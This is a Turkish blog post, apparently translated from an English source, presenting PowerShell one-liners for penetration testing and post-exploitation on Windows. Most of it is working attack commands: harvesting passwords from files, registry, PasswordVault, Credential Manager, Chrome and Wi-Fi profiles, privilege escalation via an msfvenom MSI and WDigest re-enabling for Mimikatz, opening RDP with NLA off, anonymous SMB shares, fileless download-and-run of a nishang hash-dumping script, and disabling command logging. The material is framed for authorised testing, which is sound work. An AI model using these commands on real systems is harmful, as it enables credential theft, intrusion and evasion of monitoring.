Sızma Testleri için PowerShell Komutları

Sızma Testleri için PowerShell Komutları

Microsoft Powershell, gelişmiş komut satırı arayüzüdür. Windows işletim sisteminde yapılan neredeyse tüm işlemler powershell tarafından yapılabilir. Powershell komutları aynı zamanda hassas verileri bulmak için kullanılabilir. Bugünkü yazımızda sızma testlerinde işimize yarayabilecek powershell komutlarını öğreneceğiz.

Hassas bilgiler içeren dosyaları bulma

Bu komutla, dosya adlarına göre hesap bilgileri, kimlik bilgileri, yapılandırma dosyaları vb. gibi potansiyel olarak hassas veriler içeren dosyaları bulabiliriz:

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

Bunu her disk sürücüsü için yapmanız önerilir, ancak bazen hızlı sonuçlar için c:\users klasöründe de çalıştırabilirsiniz.

Kimlik bilgilerini Sysprep veya Unattend dosyalarında bulma

Bu komut, potansiyel olarak düz metin parolalar veya base64 kodlu parolalar içerebilecek otomatikleştirilmiş kurulum ve otomatik yapılandırmadan kalıntıları arayacaktır:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

Parola, tipik olarak yerel yönetici parolası olduğundan dolayı yetki yükseltme tekniklerinden biridir.

Bu işlemi her disk sürücüsü için yapmanız önerilir.

“password” kelimesini içeren yapılandırma dosyalarını bulma

Bu komutla, belirli bir kalıp içeren dosyaları bulabiliriz. Örneğin burada çeşitli metinsel yapılandırma dosyalarında bir “password” kalıbı arıyorduk:

gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

Bu çok fazla sonuç üretebilmesine rağmen, bazen önemli sonuçlar da verebilir.

Yapılandırma dosyalarında veritabanı kimlik bilgilerini bulma

Aşağıdaki PowerShell komutunu kullanarak, ASP.NET yapılandırması için web.config gibi çeşitli yapılandırma dosyalarında, Visual Studio proje dosyalarında vb. depolanan veritabanı kimlik bilgilerini bulabiliriz:

gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

Uzak bir Microsoft SQL sunucusu için kimlik bilgilerini bulmak, xp_cmdshell kullanarak uzaktan komut yürütmeye (RCE) yol açabilir.

Web sunucusu yapılandırma dosyalarını bulma

Bu komut ile Microsoft IIS, XAMPP, Apache, PHP veya MySQL kurulumuna ait konfigürasyon dosyalarını kolayca bulabiliriz:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

Bu dosyalar, kullanıcı veya veritabanları şifreleri, yönetim arayüzleri vb. gibi diğer kaynaklara erişime izin verebilecek diğer önemli bilgileri içerebilir.

Kimlik bilgilerini çıkarma

Aşağıdaki PowerShell komutları da sömürü sonrası kategorisine girer ve bir Windows sistemine erişim kazandıktan sonra kimlik bilgilerini çıkarmak için yararlı olabilirler.

Windows PasswordVault’tan depolanan parolaları alma

Aşağıdaki PowerShell komutunu kullanarak, Internet Explorer, Edge ve diğer uygulamalar için şifreleri ve web kimlik bilgilerini depolamak için Windows yerleşik bir mekanizma olan Windows PasswordVault’tan gizli anahtarları çıkarabiliriz :

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

Verilerin tipik olarak aşağıdaki konumlarda saklandığını ve sırları yalnızca o anda oturum açmış olan kullanıcının bağlamı altında almanın mümkün olduğunu unutmayınız:

  • C:\Users\<KULLANICI ADI>\AppData\Local\Microsoft\Vault\
  • C:\Windows\system32\config\systemprofile\AppData\Local\ Microsoft\ Vault\
  • C:\ProgramData\Microsoft\Vault\

Windows PasswordVault hakkında daha fazla bilgi burada bulunabilir .

Windows Credential Manager’dan depolanmış parolaları alın

Windows Kimlik Bilgisi Yöneticisi, web sitelerinde oturum açmak ve kimlik bilgilerini depolamak için başka bir mekanizma sağlar. Ayrıca PowerShell komut dosyalarında kimlik bilgilerini kullanmanın güvenli bir yolunu sağlar.

Aşağıdaki tek satırda, CredentialManager PowerShell modülünü kullanarak Credential Manager’dan depolanan tüm kimlik bilgilerini alabiliriz :

Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

PasswordVault’a benzer şekilde, kimlik bilgileri bireysel kullanıcı profili konumlarında saklanır ve yalnızca o anda oturum açmış olan kullanıcı kendi şifresini çözebilir:

  • C:\Users\<KULLANICI ADI>\AppData\Local\Microsoft\Credentials\
  • C:\Users\<KULLANICI ADI>\AppData\Roaming\Microsoft\Credentials\
  • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\

Şifreleri Google Chrome tarayıcısında bulma

Aşağıdaki komut, yüklenmişse ve saklanan herhangi bir şifre varsa, Google Chrome tarayıcısından depolanan kimlik bilgilerini çıkarır:

[System.Text.Encoding]::UTF8.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($datarow.password_value,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser))

Benzer şekilde, bu hedef (mağdur) kullanıcı bağlamında yürütülmelidir.

Kablosuz Profillerden depolanan Wi-Fi şifrelerini alın

Bu komutla, Windows sisteminde yapılandırılan kablosuz profillerden depolanan tüm Wi-Fi şifrelerini (WEP, WPA PSK, WPA2 PSK vb.) Çıkarabiliriz:

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

Bunun çalışması için yönetici ayrıcalıklarına sahip olmamız gerektiğini unutmayın.

Kayıt defterinde SNMP topluluk dizesini arayın

Aşağıdaki komut, varsa kayıt defterinde depolanan SNMP topluluk dizesini çıkaracaktır:

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue

Bir SNMP topluluk dizesi bulmak kritik bir sorun değildir, ancak aşağıdaki saldırılar için yararlı olabilir:

  • Kuruluştaki sistem yöneticileri arasında ne tür parola kalıplarının kullanıldığını anlaşılır.
  • Kaba kuvvet saldırısı gerçekleştirilir (parolaların başka yerlerde yeniden kullanılabileceğini varsayarak).

Kayıt defterinde “password” kelimesini arama

Aşağıdaki PowerShell komutu, seçilen kayıt defteri kovanlarını (HKCR, HKCU, HKLM, HKU ve HKCC) gözden geçirecek ve kayıt defteri anahtarı adları veya veri değerleri içinde seçilen herhangi bir kalıbı özyinelemeli olarak arayacaktır. Bu durumda “password” kelimesini arıyoruz:

$pattern = "password"
$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

Bu çok zaman alsa ve çok fazla yanıt oluştursa da, kayıt defterinde seçilen desenin her oluşumunu kesinlikle bulacaktır.

Yetki yükseltme

Aşağıdaki bölümler, yetki yükseltme saldırıları için yararlı olan PowerShell komutlarını içerir. Düşük ayrıcalıklı kullanıcı erişimine sahip olduğumuz ve ayrıcalıklarımızı yerel yöneticiye yükseltmek istediğimiz durumlar için kullanılır.

Otomatik oturum açma kimlik bilgileri için kayıt ara

Windows sistemleri, örneğin POS (satış noktası) sistemlerinde kullanılan, önyükleme sırasında otomatik oturum açacak şekilde yapılandırılabilir. Genellikle bu, kullanıcı adı ve parolayı belirli bir Winlogon kayıt defteri konumunda açık metin olarak saklanarak yapılandırılır.

Aşağıdaki komut, kayıt defterinden otomatik oturum açma kimlik bilgilerini alacaktır:

gp 'HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon' | select "Default*"

AlwaysInstallElevated’ın etkin olup olmadığını kontrol etme

Aşağıdaki AlwaysInstallElevated kayıt defteri anahtarlarının 1 olarak ayarlanması, düşük ayrıcalıklı kullanıcıların * .msi dosyalarını NT AUTHORITY \ SYSTEM ayrıcalıklarıyla yükleyebileceği anlamına gelir. PowerShell ile bunu şu şekilde kontrol edebilirsiniz:

gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

Bunun çalışması için her iki kayıt defteri anahtarının da 1 olarak ayarlanması gerektiğini unutmayın.

Bir MSI yükleyici paketi, Metasploit Framework’ten msfvenom yardımcı programı kullanılarak kolayca oluşturulabilir . Örneğin, kendimizi yöneticiler grubuna ekleyebiliriz:

msfvenom -p windows/exec CMD='net localgroup administrators joe /add' -f msi > pkg.msi

Kotasız servis yollarını bulun

Aşağıdaki PowerShell komutu, yürütülebilir yolu tırnak işaretleri (“) içine alınmayan hizmetleri yazdıracaktır :

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Bu, yürütülebilir yolun boşluklar içermesi ve yoldaki klasörlerden herhangi birine yazma iznimiz olması durumunda ayrıcalık artışına yol açabilir.

Kullanım adımları dahil olmak üzere bu teknik hakkında daha fazla ayrıntı burada veya burada bulunabilir .

LSASS WDigest önbelleğini kontrol edin

Aşağıdaki komutu kullanarak, WDigest kimlik bilgilerini önbelleğe almanın sistemde etkin olup olmadığını kontrol edebiliriz. Bu ayarlar , LSASS işlem belleğinden düz metin kimlik bilgilerini çıkarmak için Mimikatz’ı kullanıp kullanamayacağımızı belirler .

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
  • Değer 0 olarak ayarlanırsa, önbelleğe alma devre dışı bırakılır (sistem korunur)
  • Mevcut değilse veya 1 olarak ayarlanmışsa, önbelleğe alma etkinleştirilir

Devre dışı bırakılırsa, aşağıdaki komutu kullanarak yine de etkinleştirebileceğimizi, ancak daha sonra sistemi yeniden başlatmamız gerekeceğini unutmayın:

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1

SYSVOL ve Grup İlkesi Tercihlerindeki (GPP) Kimlik Bilgileri

Kurumsal Windows Active Directory ortamlarında, kimlik bilgileri bazen Grup İlkelerinde, çeşitli özel komut dosyalarında veya SYSVOL ağ paylaşımlarındaki etki alanı denetleyicilerindeki yapılandırma dosyalarında saklanabilir.

SYSVOL ağ paylaşımlarına herhangi bir kimliği doğrulanmış etki alanı kullanıcısı tarafından erişilebildiğinden, aşağıdaki komutu kullanarak depolanmış herhangi bir kimlik bilgisi olup olmadığını kolayca belirleyebiliriz:

Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location

Bir tipik örneğidir MS14-025 GPP XML dosyalarında cPassword özniteliği ile. “Cpassword” özniteliğinin şifresi, örneğin Kali Linux’ta gpp-decrypt yardımcı programı kullanılarak bir düz metin biçiminde anında çözülebilir .

Burada, özellikle dahili ağ sızma testleri ve benzer alıştırmalar sırasında yararlı olabilecek ağ ile ilgili birkaç PowerShell komutu verilmiştir.

MAC adresini komut satırından ayarlayın

Bazen bir ağ arabiriminde MAC adresini ayarlamak yararlı olabilir ve PowerShell ile bunu herhangi bir 3. taraf yardımcı programı kullanmadan kolayca yapabiliriz:

Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"

Bu, örneğin NAC (ağ erişim kontrolü) baypas ve diğer şeyleri test ederken faydalı olabilir.

Uzak Masaüstü bağlantılarına izin verme

Bu komut üçlüsü, sisteme grafiksel RDP oturumu kullanarak bağlanmak istediğimizde yararlı olabilir, ancak bazı nedenlerden dolayı etkinleştirilmemiştir:

# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True

Artık tcp / 3389 portu açık olmalı ve örneğin Kali Linux’tan xfreerdp veya rdesktop araçlarını kullanarak sorunsuz bağlanabilmeliyiz.

Toplu DNS ters aramasını kullanarak ana bilgisayar keşfi

Bu komutu kullanarak 10.10.1.0/24 alt ağında hızlı ters DNS araması yapabilir ve çözülebilir (potansiyel olarak canlı) ana bilgisayar olup olmadığını görebiliriz:

$net = "10.10.1."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt

Sonuçlar daha sonra geçerli çalışma dizinindeki ip_hostname.txt dosyasına kaydedilecektir.

Bazen bu, pingsweep veya benzer tekniklerden daha hızlı ve daha gizli olabilir.

Bağlantı noktası ilginç bağlantı noktaları için bir ana bilgisayarı tarayın

Seçilen 39 ilginç bağlantı noktası için belirli bir IP adresini (10.10.15.232) hızlı bir şekilde nasıl tarayacağınız aşağıda açıklanmıştır:

$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"
$ip = "10.10.15.232"
$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null 

Bu bize, saf bir PowerShell’den başka hiçbir şey kullanmadan ağdaki belirli bir ana bilgisayar hakkında hızlı bir durumsal farkındalık sağlayacaktır:

Bağlantı noktası, tek bir bağlantı noktası için bir ağı tarar (bağlantı noktası taraması)

Bu, örneğin belirli bir ağ Sınıf C alt ağında (10.10.0.0/24) SSH arayüzlerini (bağlantı noktası tcp / 22) hızlı bir şekilde keşfetmek için yararlı olabilir:

$port = 22
$net = "10.10.0."
0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null

Yalnızca Windows sistemlerini tanımlamaya çalışıyorsanız, bağlantı noktasını 445 olarak değiştirmeniz yeterlidir.

Konuk SMB ortak drive’ı oluşturun

Herkes tarafından erişilebilen bir SMB (CIFS) ağ paylaşılan sürücüsünü hızlı bir şekilde başlatmak için harika bir numara:

new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

Daha sonra durdurmak için şunu uygulayın:

Remove-SmbShare -Name "sharedir" -Force

Bu, dosya aktarımı, hırsızlık vb. İçin kullanışlı olabilir.

Windows güvenlik duvarında bir IP adresini beyaz listeye ekleyin

Windows güvenlik duvarında bir IP adresini beyaz listeye eklemek için yararlı bir komut:

New-NetFirewallRule -Action Allow -DisplayName "pentest" -RemoteAddress 10.10.15.123

Artık her bağlantı noktasında IP adresimizden (10.10.15.123) bu ana bilgisayara bağlanabilmeliyiz.

İşimizi bitirdikten sonra kuralı kaldırın:

Remove-NetFirewallRule -DisplayName "pentest"

Diğer kullanışlı komutlar

Aşağıdaki komutlar, çeşitli yönetim görevlerini gerçekleştirmek, sistem hakkında bilgi toplamak veya pentest sırasında faydalı olabilecek ek PowerShell işlevlerini kullanmak için yararlı olabilir.

Dosyasız indirme ve çalıştırma

Bu küçük PowerShell komutunu kullanarak, kendi makinemizde veya İnternette uzaktan barındırılan isteğe bağlı PowerShell kodunu kolayca indirebilir ve çalıştırabiliriz:

iex(iwr("https://URL"))
  • iwr = Invoke-WebRequest
  • iex = Invoke-Expression

Uzak içerik, diske dokunmadan (dosyasız) indirilecek ve yüklenecektir. Şimdi onu çalıştırabiliriz.

Bunu herhangi bir sayıda popüler saldırı modülü için kullanabiliriz, örneğin:

Aşağıda, nishang Get-PassHashes modülünü kullanarak yerel şifre karmalarının (hashdump) dökümüne bir örnek verilmiştir:

iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes

Çok kolay, ancak bunun muhtemelen herhangi bir düzgün AV veya EDR tarafından işaretleneceğini unutmayın.

Bu gibi durumlarda yapabileceğiniz şey, kullanmak istediğiniz modülleri gizleyip kendi başınıza bir yerde barındırabilmenizdir.

Mevcut kullanıcının SID’sini alın

Aşağıdaki komut, mevcut kullanıcının SID değerini döndürür:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

Yükseltilmiş (yönetici) ayrıcalıklarıyla çalışıp çalışmadığımızı kontrol edin

Yönetici ayrıcalıklarına sahip yükseltilmiş PowerShell oturumu çalıştırıp çalıştırmadığımızı kontrol etmek için hızlı bir tek satırlık kılavuz:

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }

PowerShell komut günlük kaydını devre dışı bırakın

Varsayılan olarak, PowerShell, Bash’in Linux’ta yaptığı gibi, geçmiş dosyasında 4096 adede kadar komutu otomatik olarak günlüğe kaydeder.

PowerShell geçmiş dosyası, aşağıdaki konumdaki her kullanıcının profilinde bulunan bir düz metin dosyasıdır:

  • C:\Users\<KULLANICIADI>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Aşağıdaki komutlarla, mevcut kabuk oturumunda PowerShell komut günlüğü işlevini devre dışı bırakabiliriz:

Set-PSReadlineOption –HistorySaveStyle SaveNothing

veya

Remove-Module PSReadline

Bu, sistem üzerindeki ayak izimizi en aza indirmek istiyorsak kırmızı takım çalışmalarında faydalı olabilir.

Şu andan itibaren, PowerShell geçmiş dosyasına hiçbir komut kaydedilmeyecektir. Bununla birlikte, yukarıdaki komutların geçmiş dosyasında yine de yankılanacağını unutmayın, bu nedenle bunun tamamen gizli olmadığını unutmayın.

Yüklü antivirüs (AV) ürünlerini listeleme

Güvenlik Merkezini sorgulamak ve bu bilgisayardaki tüm yüklü Antivirüs ürünlerini belirlemek için basit bir PowerShell komutu:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

ProductState değerinin kodunu çözerek, şu anda hangi AV’nin etkin olduğunu (birden fazla kurulu olması durumunda), imzaların güncel olup olmadığını ve hatta hangi AV özelliklerinin ve tarama motorlarının etkinleştirildiğini belirleyebiliriz (örn. Gerçek zamanlı koruma , casus yazılım önleme, otomatik güncelleme vb.).

Kaynakça:

(en)https://www.infosecmatter.com/powershell-commands-for-pentesters/

Related Posts

Leave a Reply